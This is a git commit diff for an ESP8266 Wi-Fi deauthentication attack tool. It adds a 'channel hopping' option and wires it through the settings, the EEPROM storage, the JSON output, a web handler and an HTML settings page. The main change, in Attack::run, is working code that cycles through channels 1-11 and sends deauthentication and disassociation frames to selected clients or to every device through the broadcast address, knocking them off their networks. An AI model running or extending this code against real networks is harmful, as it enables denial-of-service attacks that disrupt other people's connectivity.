Added channel hopping option

This commit is contained in:
Stefan Kremser
2017-03-12 10:56:48 +01:00
parent 141c9f17a3
commit 25a9dfe73c
6 changed files with 55 additions and 14 deletions

View File

@@ -135,23 +135,47 @@ void Attack::run(){
if(clientScan.getClientSelected(i)){ if(clientScan.getClientSelected(i)){
_selectedClients++; _selectedClients++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason ); if(settings.channelHop){
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++; for(int j=1;j<12;j++){
wifi_set_channel(j);
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason ); buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++; if(send()) packetsCounter[0]++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
if(send()) packetsCounter[0]++;
}
}else{
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
}
} }
} }
if(_selectedClients == 0){ if(_selectedClients == 0){
Mac _client; Mac _client;
_client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF); _client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
buildDeauth(_ap, _client, 0xc0, 0x01 );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
buildDeauth(_ap, _client, 0xa0, 0x01 ); if(settings.channelHop){
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++; for(int j=1;j<12;j++){
wifi_set_channel(j);
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
if(send()) packetsCounter[0]++;
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
if(send()) packetsCounter[0]++;
}
}else{
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
for(int h=0;h<settings.attackPacketRate;h++) if(send()) packetsCounter[0]++;
}
} }
} }
@@ -370,7 +394,7 @@ void Attack::refreshLed(){
int numberRunning = 0; int numberRunning = 0;
for(int i=0; i<sizeof(isRunning); i++){ for(int i=0; i<sizeof(isRunning); i++){
if(isRunning[i]) numberRunning++; if(isRunning[i]) numberRunning++;
if(debug) Serial.println(numberRunning); //if(debug) Serial.println(numberRunning);
} }
if(numberRunning>=1 && settings.useLed){ if(numberRunning>=1 && settings.useLed){
if(debug) Serial.println("Attack LED : ON"); if(debug) Serial.println("Attack LED : ON");

View File

@@ -31,6 +31,7 @@ void Settings::load(){
clientScanTime = EEPROM.read(clientScanTimeAdr); clientScanTime = EEPROM.read(clientScanTimeAdr);
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr); attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
useLed = (bool)EEPROM.read(useLedAdr); useLed = (bool)EEPROM.read(useLedAdr);
channelHop = (bool)EEPROM.read(channelHopAdr);
} }
} }
@@ -53,6 +54,7 @@ void Settings::reset(){
clientScanTime = 15; clientScanTime = 15;
attackEncrypted = false; attackEncrypted = false;
useLed = false; useLed = false;
channelHop = false;
if(debug) Serial.println("done"); if(debug) Serial.println("done");
@@ -81,6 +83,7 @@ void Settings::save(){
EEPROM.write(clientScanTimeAdr, clientScanTime); EEPROM.write(clientScanTimeAdr, clientScanTime);
EEPROM.write(attackEncryptedAdr, attackEncrypted); EEPROM.write(attackEncryptedAdr, attackEncrypted);
EEPROM.write(useLedAdr, useLed); EEPROM.write(useLedAdr, useLed);
EEPROM.write(channelHopAdr, channelHop);
EEPROM.commit(); EEPROM.commit();
if(debug){ if(debug){
@@ -104,6 +107,7 @@ void Settings::info(){
Serial.println("client scan time: "+(String)clientScanTime); Serial.println("client scan time: "+(String)clientScanTime);
Serial.println("attack SSID encrypted: "+(String)attackEncrypted); Serial.println("attack SSID encrypted: "+(String)attackEncrypted);
Serial.println("use built-in LED: "+(String)useLed); Serial.println("use built-in LED: "+(String)useLed);
Serial.println("channel hopping: "+(String)channelHop);
} }
String Settings::get(){ String Settings::get(){
@@ -121,6 +125,7 @@ String Settings::get(){
json += "\"clientScanTime\":"+(String)clientScanTime+","; json += "\"clientScanTime\":"+(String)clientScanTime+",";
json += "\"attackEncrypted\":"+(String)attackEncrypted+","; json += "\"attackEncrypted\":"+(String)attackEncrypted+",";
json += "\"useLed\":"+(String)useLed+","; json += "\"useLed\":"+(String)useLed+",";
json += "\"channelHop\":"+(String)channelHop+",";
json += "\"nameList\":["; json += "\"nameList\":[";
for(int i=0;i<nameList.len;i++){ for(int i=0;i<nameList.len;i++){

View File

@@ -25,6 +25,7 @@ extern NameList nameList;
#define apScanHiddenAdr 1097 #define apScanHiddenAdr 1097
#define apChannelAdr 1098 #define apChannelAdr 1098
#define useLedAdr 1099 #define useLedAdr 1099
#define channelHopAdr 1100
class Settings class Settings
{ {
@@ -52,6 +53,7 @@ class Settings
int clientScanTime; int clientScanTime;
bool attackEncrypted; bool attackEncrypted;
bool useLed; bool useLed;
bool channelHop;
private: private:
}; };

File diff suppressed because one or more lines are too long

View File

@@ -294,6 +294,10 @@ void saveSettings() {
else settings.useLed = true; else settings.useLed = true;
attack.refreshLed(); attack.refreshLed();
} }
if (server.hasArg("channelHop")) {
if (server.arg("channelHop") == "false") settings.channelHop = false;
else settings.channelHop = true;
}
settings.save(); settings.save();
server.send( 200, "text/json", "true" ); server.send( 200, "text/json", "true" );

View File

@@ -76,9 +76,12 @@
<input type="checkbox" name="ssidEnc" id="ssidEnc" value="false"> <input type="checkbox" name="ssidEnc" id="ssidEnc" value="false">
<br /> <br />
<label for="useLed">Use LED:</label> <label for="useLed">use LED:</label>
<input type="checkbox" name="useLed" id="useLed" value="false"> <input type="checkbox" name="useLed" id="useLed" value="false">
<br /> <br />
<label for="channelHop">channel hopping:</label>
<input type="checkbox" name="channelHop" id="channelHop" value="false">
<br />
<label for="deauthReason">deauth reason:</label> <label for="deauthReason">deauth reason:</label>
<input type="number" id="deauthReason" min="1" max="45"> <input type="number" id="deauthReason" min="1" max="45">
@@ -120,6 +123,7 @@
var clientNames = document.getElementById('clientNames'); var clientNames = document.getElementById('clientNames');
var ssidEnc = document.getElementById('ssidEnc'); var ssidEnc = document.getElementById('ssidEnc');
var useLed = document.getElementById('useLed'); var useLed = document.getElementById('useLed');
var channelHop = document.getElementById('channelHop');
var res; var res;
function getData(){ function getData(){
@@ -137,6 +141,7 @@
packetRate.value = res.attackPacketRate; packetRate.value = res.attackPacketRate;
ssidEnc.checked = res.attackEncrypted; ssidEnc.checked = res.attackEncrypted;
useLed.checked = res.useLed; useLed.checked = res.useLed;
channelHop.checked = res.channelHop;
clientNames.innerHTML = "Client Names "+res.nameList.length+"/50"; clientNames.innerHTML = "Client Names "+res.nameList.length+"/50";
@@ -189,6 +194,7 @@
url += "&packetRate="+packetRate.value; url += "&packetRate="+packetRate.value;
url += "&ssidEnc="+ssidEnc.checked; url += "&ssidEnc="+ssidEnc.checked;
url += "&useLed="+useLed.checked; url += "&useLed="+useLed.checked;
url += "&channelHop="+channelHop.checked;
getResponse(url, function(responseText){ getResponse(url, function(responseText){
if(responseText == "true"){ if(responseText == "true"){